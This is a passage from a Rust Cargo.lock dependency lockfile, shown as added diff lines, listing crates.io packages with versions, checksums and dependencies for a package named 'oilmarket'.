"d5f38f16d184e36f2408a55281cd658ecbd3ca05cce6d6510a176eca393e26d1" +dependencies = [ + "bytes", + "http", + "pin-project-lite", +] + +[[package]] +name = "httparse" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d897f394bad6a705d5f4104762e116a75639e470d80901eed05a860a95cb1904" + +[[package]] +name = "httpdate" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" + +[[package]] +name = "hyper" +version = "0.14.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffb1cfd654a8219eaef89881fdb3bb3b1cdc5fa75ded05d6933b2b382e395468" +dependencies = [ + "bytes", + "futures-channel", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "socket2 0.4.10", + "tokio", + "tower-service", + "tracing", + "want", +] + +[[package]] +name = "hyper-timeout" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbb958482e8c7be4bc3cf272a766a2b0bf1a6755e7a6ae777f017a31d11b13b1" +dependencies = [ + "hyper", + "pin-project-lite", + "tokio", + "tokio-io-timeout", +] + +[[package]] +name = "idna" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "indexmap" +version = "1.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99" +dependencies = [ + "autocfg", + "hashbrown 0.12.3", +] + +[[package]] +name = "indexmap" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d530e1a18b1cb4c484e6e34556a0d948706958449fca0cab753d649f2bce3d1f" +dependencies = [ + "equivalent", + "hashbrown 0.14.3", +] + +[[package]] +name = "itertools" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1c173a5686ce8bfa551b3563d0c2170bf24ca44da99c7ca4bfdab5418c3fe57" +dependencies = [ + "either", +] + +[[package]] +name = "itoa" +version = "1.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "af150ab688ff2122fcef229be89cb50dd66af9e01a4ff320cc137eecc9bacc38" + +[[package]] +name = "lazy_static" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" +dependencies = [ + "spin 0.5.2", +] + +[[package]] +name = "libc" +version = "0.2.150" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89d92a4743f9a61002fae18374ed11e7973f530cb3a3255fb354818118b2203c" + +[[package]] +name = "libm" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ec2a862134d2a7d32d7983ddcdd1c4923530833c9f2ea1a44fc5fa473989058" + +[[package]] +name = "libsqlite3-sys" +version = "0.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf4e226dcd58b4be396f7bd3c20da8fdee2911400705297ba7d2d7cc2c30f716" +dependencies = [ + "cc", + "pkg-config", + "vcpkg", +] + +[[package]] +name = "linux-raw-sys" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4cd1a83af159aa67994778be9070f0ae1bd732942279cabb14f86f986a21456" + +[[package]] +name = "lock_api" +version = "0.4.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45" +dependencies = [ + "autocfg", + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" + +[[package]] +name = "matchit" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e7465ac9959cc2b1404e8e2367b43684a6d13790fe23056cc8c6c5a6b7bcb94" + +[[package]] +name = "md-5" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d89e7ee0cfbedfc4da3340218492196241d89eefb6dab27de5df917a6d2e78cf" +dependencies = [ + "cfg-if", + "digest", +] + +[[package]] +name = "memchr" +version = "2.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f665ee40bc4a3c5590afb1e9677db74a508659dfd71e126420da8274909a0167" + +[[package]] +name = "mime" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" + +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + +[[package]] +name = "miniz_oxide" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7" +dependencies = [ + "adler", +] + +[[package]] +name = "mio" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3dce281c5e46beae905d4de1870d8b1509a9142b62eedf18b443b011ca8343d0" +dependencies = [ + "libc", + "wasi", + "windows-sys 0.48.0", +] + +[[package]] +name = "multimap" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5ce46fe64a9d73be07dcbe690a38ce1b293be448fd8ce1e6c1b8062c9f72c6a" + +[[package]] +name = "nix" +version = "0.27.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2eb04e9c688eff1c89d72b407f168cf79bb9e867a9d3323ed6c01519eb9cc053" +dependencies = [ + "bitflags 2.4.1", + "cfg-if", + "libc", +] + +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "num" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b05180d69e3da0e530ba2a1dae5110317e49e3b7f3d41be227dc5f92e49ee7af" +dependencies = [ + "num-bigint 0.4.4", + "num-complex", + "num-integer", + "num-iter", + "num-rational", + "num-traits", +] + +[[package]] +name = "num-bigint" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "090c7f9998ee0ff65aa5b723e4009f7b217707f1fb5ea551329cc4d6231fb304" +dependencies = [ + "autocfg", + "num-integer", + "num-traits", + "rand 0.5.6", +] + +[[package]] +name = "num-bigint" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "608e7659b5c3d7cba262d894801b9ec9d00de989e8a82bd4bef91d08da45cdc0" +dependencies = [ + "autocfg", + "num-integer", + "num-traits", + "serde", +] + +[[package]] +name = "num-bigint-dig" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc84195820f291c7697304f3cbdadd1cb7199c0efc917ff5eafd71225c136151" +dependencies = [ + "byteorder", + "lazy_static", + "libm", + "num-integer", + "num-iter", + "num-traits", + "rand 0.8.5", + "smallvec", + "zeroize", +] + +[[package]] +name = "num-complex" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ba157ca0885411de85d6ca030ba7e2a83a28636056c7c699b07c8b6f7383214" +dependencies = [ + "num-traits", + "serde", +] + +[[package]] +name = "num-integer" +version = "0.1.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9" +dependencies = [ + "autocfg", + "num-traits", +] + +[[package]] +name = "num-iter" +version = "0.1.43" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d03e6c028c5dc5cac6e2dec0efda81fc887605bb3d884578bb6d6bf7514e252" +dependencies = [ + "autocfg", + "num-integer", + "num-traits", +] + +[[package]] +name = "num-primes" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38f25459a616100b36b5af31d8b05abbee29a5f29f83ddf95e78cb2268ab300a" +dependencies = [ + "log", + "num", + "num-bigint 0.2.6", + "num-traits", + "rand 0.5.6", +] + +[[package]] +name = "num-rational" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0638a1c9d0a3c0914158145bc76cff373a75a627e6ecbfb71cbe6f453a5a19b0" +dependencies = [ + "autocfg", + "num-bigint 0.4.4", + "num-integer", + "num-traits", + "serde", +] + +[[package]] +name = "num-traits" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39e3200413f237f41ab11ad6d161bc7239c84dcb631773ccd7de3dfe4b5c267c" +dependencies = [ + "autocfg", + "libm", +] + +[[package]] +name = "num_cpus" +version = "1.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43" +dependencies = [ + "hermit-abi", + "libc", +] + +[[package]] +name = "object" +version = "0.32.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9cf5f9dd3933bd50a9e1f149ec995f39ae2c496d31fd772c1fd45ebc27e902b0" +dependencies = [ + "memchr", +] + +[[package]] +name = "oilmarket" +version = "0.1.0" +dependencies = [ + "anyhow", + "dotenvy", + "num", + "num-primes", + "prost", + "serde", + "serde_json", + "sqlx", + "sqlx-postgres", + "tokio", + "tonic", + "tonic-build", + "uuid", +] + +[[package]] +name = "once_cell" +version = "1.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d" + +[[package]] +name = "parking_lot" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-targets 0.48.5", +] + +[[package]] +name = "paste" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de3145af08024dea9fa9914f381a17b8fc6034dfb00f3a84013f7ff43f29ed4c" + +[[package]] +name = "pem-rfc7468" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88b39c9bfcfc231068454382784bb460aae594343fb030d46e9f50a645418412" +dependencies = [ + "base64ct", +] + +[[package]] +name = "percent-encoding" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" + +[[package]] +name = "petgraph" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e1d3afd2628e69da2be385eb6f2fd57c8ac7977ceeff6dc166ff1657b0e386a9" +dependencies = [ + "fixedbitset", + "indexmap 2.1.0", +] + +[[package]] +name = "pin-project" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fda4ed1c6c173e3fc7a83629421152e01d7b1f9b7f65fb301e490e8cfc656422" +dependencies = [ + "pin-project-internal", +] + +[[package]] +name = "pin-project-internal" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4359fd9c9171ec6e8c62926d6faaf553a8dc3f64e1507e76da7911b4f6a04405" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "pkcs1" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8ffb9f10fa047879315e6625af03c164b16962a5368d724ed16323b68ace47f" +dependencies = [ + "der", + "pkcs8", + "spki", +] + +[[package]] +name = "pkcs8" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7" +dependencies = [ + "der", + "spki", +] + +[[package]] +name = "pkg-config" +version = "0.3.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26072860ba924cbfa98ea39c8c19b4dd6a4a25423dbdf219c1eca91aa0cf6964" + +[[package]] +name = "ppv-lite86" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" + +[[package]] +name = "prettyplease" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae005bd773ab59b4725093fd7df83fd7892f7d8eafb48dbd7de6e024e4215f9d" +dependencies = [ + "proc-macro2", + "syn 2.0.39", +] + +[[package]] +name = "proc-macro2" +version = "1.0.70" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39278fbbf5fb4f646ce651690877f89d1c5811a3d4acb27700c1cb3cdb78fd3b" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "prost" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "146c289cda302b98a28d40c8b3b90498d6e526dd24ac2ecea73e4e491685b94a" +dependencies = [ + "bytes", + "prost-derive", +] + +[[package]] +name = "prost-build" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c55e02e35260070b6f716a2423c2ff1c3bb1642ddca6f99e1f26d06268a0e2d2" +dependencies = [ + "bytes", + "heck", + "itertools", + "log", + "multimap", + "once_cell", + "petgraph", + "prettyplease", + "prost", + "prost-types", + "regex", + "syn 2.0.39", + "tempfile", + "which", +] + +[[package]] +name = "prost-derive" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "efb6c9a1dd1def8e2124d17e83a20af56f1570d6c2d2bd9e266ccb768df3840e" +dependencies = [ + "anyhow", + "itertools", + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] +name = "prost-types" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "193898f59edcf43c26227dcd4c8427f00d99d61e95dcde58dabd49fa291d470e" +dependencies = [ + "prost", +] + +[[package]] +name = "quote" +version = "1.0.33" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c618c47cd3ebd209790115ab837de41425723956ad3ce2e6a7f09890947cacb9" +dependencies = [ + "cloudabi", + "fuchsia-cprng", + "libc", + "rand_core 0.3.1", + "winapi", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_core" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a6fdeb83b075e8266dcc8762c22776f6877a63111121f5f8c7411e5be7eed4b" +dependencies = [ + "rand_core 0.4.2", +] + +[[package]] +name = "rand_core" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c33a3c44ca05fa6f1807d8e6743f3824e8509beca625669633be0acbdf509dc" + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "redox_syscall" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "regex" +version = "1.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "380b951a9c5e80ddfd6136919eef32310721aa4aacd4889a8d39124b026ab343" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata", + "regex-syntax", +] + +[[package]] +name = "regex-automata" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f804c7828047e88b2d32e2d7fe5a105da8ee3264f01902f796c8e067dc2483f" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax", +] + +[[package]] +name = "regex-syntax" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" + +[[package]] +name = "rsa" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "af6c4b23d99685a1408194da11270ef8e9809aff951cc70ec9b17350b087e474" +dependencies = [ + "const-oid", + "digest", + "num-bigint-dig", + "num-integer", + "num-traits", + "pkcs1", + "pkcs8", + "rand_core 0.6.4", + "signature", + "spki", + "subtle", + "zeroize", +] + +[[package]] +name = "rustc-demangle" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" + +[[package]] +name = "rustix" +version = "0.38.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9470c4bf8246c8daf25f9598dca807fb6510347b1e1cfa55749113850c79d88a" +dependencies = [ + "bitflags 2.4.1", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.52.0", +] + +[[package]] +name = "rustversion" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ffc183a10b4478d04cbbbfc96d0873219d962dd5accaff2ffbd4ceb7df837f4" + +[[package]] +name = "ryu" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741" + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "serde" +version = "1.0.193" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25dd9975e68d0cb5aa1120c288333fc98731bd1dd12f561e468ea4728c042b89" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.193" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "43576ca501357b9b071ac53cdc7da8ef0cbd9493d8df094cd821777ea6e894d3" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] +name = "serde_json" +version = "1.0.108" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d1c7e3eac408d115102c4c24ad393e0821bb3a5df4d506a80f85f7a742a526b" +dependencies = [ + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "sha1" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sha2" +version = "0.10.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "signature" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de" +dependencies = [ + "digest", + "rand_core 0.6.4", +] + +[[package]] +name = "slab" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" +dependencies = [ + "autocfg", +] + +[[package]] +name = "smallvec" +version = "1.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4dccd0940a2dcdf68d092b8cbab7dc0ad8fa938bf95787e1b916b0e3d0e8e970" + +[[package]] +name = "socket2" +version = "0.4.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f7916fc008ca5542385b89a3d3ce689953c143e9304a9bf8beec1de48994c0d" +dependencies = [ + "libc", + "winapi", +] + +[[package]] +name = "socket2" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9" +dependencies = [ + "libc", + "windows-sys 0.48.0", +] + +[[package]] +name = "spin" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e63cff320ae2c57904679ba7cb63280a3dc4613885beafb148ee7bf9aa9042d" + +[[package]] +name = "spin" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" +dependencies = [ + "lock_api", +] + +[[package]] +name = "spki" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" +dependencies = [ + "base64ct", + "der", +] + +[[package]] +name = "sqlformat" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6b7b278788e7be4d0d29c0f39497a0eef3fba6bbc8e70d8bf7fde46edeaa9e85" +dependencies = [ + "itertools", + "nom", + "unicode_categories", +] + +[[package]] +name = "sqlx" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dba03c279da73694ef99763320dea58b51095dfe87d001b1d4b5fe78ba8763cf" +dependencies = [ + "sqlx-core", + "sqlx-macros", + "sqlx-mysql", + "sqlx-postgres", + "sqlx-sqlite", +] + +[[package]] +name = "sqlx-core" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d84b0a3c3739e220d94b3239fd69fb1f74bc36e16643423bd99de3b43c21bfbd" +dependencies = [ + "ahash", + "atoi", + "byteorder", + "bytes", + "crc", + "crossbeam-queue", + "dotenvy", + "either", + "event-listener", + "futures-channel", + "futures-core", + "futures-intrusive", + "futures-io", + "futures-util", + "hashlink", + "hex", + "indexmap 2.1.0", + "log", + "memchr", + "once_cell", + "paste", + "percent-encoding", + "serde", + "serde_json", + "sha2", + "smallvec", + "sqlformat", + "thiserror", + "tokio", + "tokio-stream", + "tracing", + "url", + "uuid", +] + +[[package]] +name = "sqlx-macros" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89961c00dc4d7dffb7aee214964b065072bff69e36ddb9e2c107541f75e4f2a5" +dependencies = [ + "proc-macro2", + "quote", + "sqlx-core", + "sqlx-macros-core", + "syn 1.0.109", +] + +[[package]] +name = "sqlx-macros-core" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0bd4519486723648186a08785143599760f7cc81c52334a55d6a83ea1e20841" +dependencies = [ + "atomic-write-file", + "dotenvy", + "either", + "heck", + "hex", + "once_cell", + "proc-macro2", + "quote", + "serde", + "serde_json", + "sha2", + "sqlx-core", + "sqlx-mysql", + "sqlx-postgres", + "sqlx-sqlite", + "syn 1.0.109", + "tempfile", + "tokio", + "url", +] + +[[package]] +name = "sqlx-mysql" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e37195395df71fd068f6e2082247891bc11e3289624bbc776a0cdfa1ca7f1ea4" +dependencies = [ + "atoi", + "base64", + "bitflags 2.4.1", + "byteorder", + "bytes", + "crc", + "digest", + "dotenvy", + "either", + "futures-channel", + "futures-core", + "futures-io", + "futures-util", + "generic-array", + "hex", + "hkdf", + "hmac", + "itoa", + "log", + "md-5", + "memchr", + "once_cell", + "percent-encoding", + "rand 0.8.5", + "rsa", + "serde", + "sha1", + "sha2", + "smallvec", + "sqlx-core", + "stringprep", + "thiserror", + "tracing", + "uuid", + "whoami", +] + +[[package]] +name = "sqlx-postgres" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6ac0ac3b7ccd10cc96c7ab29791a7dd236bd94021f31eec7ba3d46a74aa1c24" +dependencies = [ + "atoi", + "base64", + "bitflags 2.4.1", + "byteorder", + "crc", + "dotenvy", + "etcetera", + "futures-channel", + "futures-core", + "futures-io", + "futures-util", + "hex", + "hkdf", + "hmac", + "home", + "itoa", + "log", + "md-5", + "memchr", + "once_cell", + "rand 0.8.5", + "serde", + "serde_json", + "sha1", + "sha2", + "smallvec", + "sqlx-core", + "stringprep", + "thiserror", + "tracing", + "uuid", + "whoami", +] + +[[package]] +name = "sqlx-sqlite" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "210976b7d948c7ba9fced8ca835b11cbb2d677c59c79de41ac0d397e14547490" +dependencies = [ + "atoi", + "flume", + "futures-channel", + "futures-core", + "futures-executor", + "futures-intrusive", + "futures-util", + "libsqlite3-sys", + "log", + "percent-encoding", + "serde", + "sqlx-core", + "tracing", + "url", + "urlencoding", + "uuid", +] + +[[package]] +name = "stringprep" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb41d74e231a107a1b4ee36bd1214b11285b77768d2e3824aedafa988fd36ee6" +dependencies = [ + "finl_unicode", + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "subtle" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "81cdd64d312baedb58e21336b31bc043b77e01cc99033ce76ef539f78e965ebc" + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.39" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23e78b90f2fcf45d3e842032ce32e3f2d1545ba6636271dcbf24fa306d87be7a" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "sync_wrapper" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2047c6ded9c721764247e62cd3b03c09ffc529b2ba5b10ec482ae507a4a70160" + +[[package]] +name = "tempfile" +version = "3.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ef1adac450ad7f4b3c28589471ade84f25f731a7a0fe30d71dfa9f60fd808e5" +dependencies = [ + "cfg-if", + "fastrand", + "redox_syscall", + "rustix", + "windows-sys 0.48.0", +] + +[[package]] +name = "thiserror" +version = "1.0.50" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9a7210f5c9a7156bb50aa36aed4c95afb51df0df00713949448cf9e97d382d2" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.50" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "266b2e40bc00e5a6c09c3584011e08b06f123c00362c92b975ba9843aaaa14b8" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.39", +] + +[[package]] +name = "tinyvec" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tokio" +version = "1.34.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0c014766411e834f7af5b8f4cf46257aab4036ca95e9d2c144a10f59ad6f5b9" +dependencies = [ + "backtrace", + "bytes", + "libc", + "mio", + "num_cpus", + "pin-project-lite", + "socket2 0.5.5", + "tokio-macros", + "windows-sys 0.48.0", +] + +[[package]] +name = "tokio-io-timeout" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30b74022ada614a1b4834de765f9bb43877f910cc8ce4be40e89042c9223a8bf" +dependencies = [ + "pin-project-lite", + "tokio", +] + +[[package]] +name = "tokio-macros" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b" +dependencies = [ + "proc-macro2", + "quote", + "syn 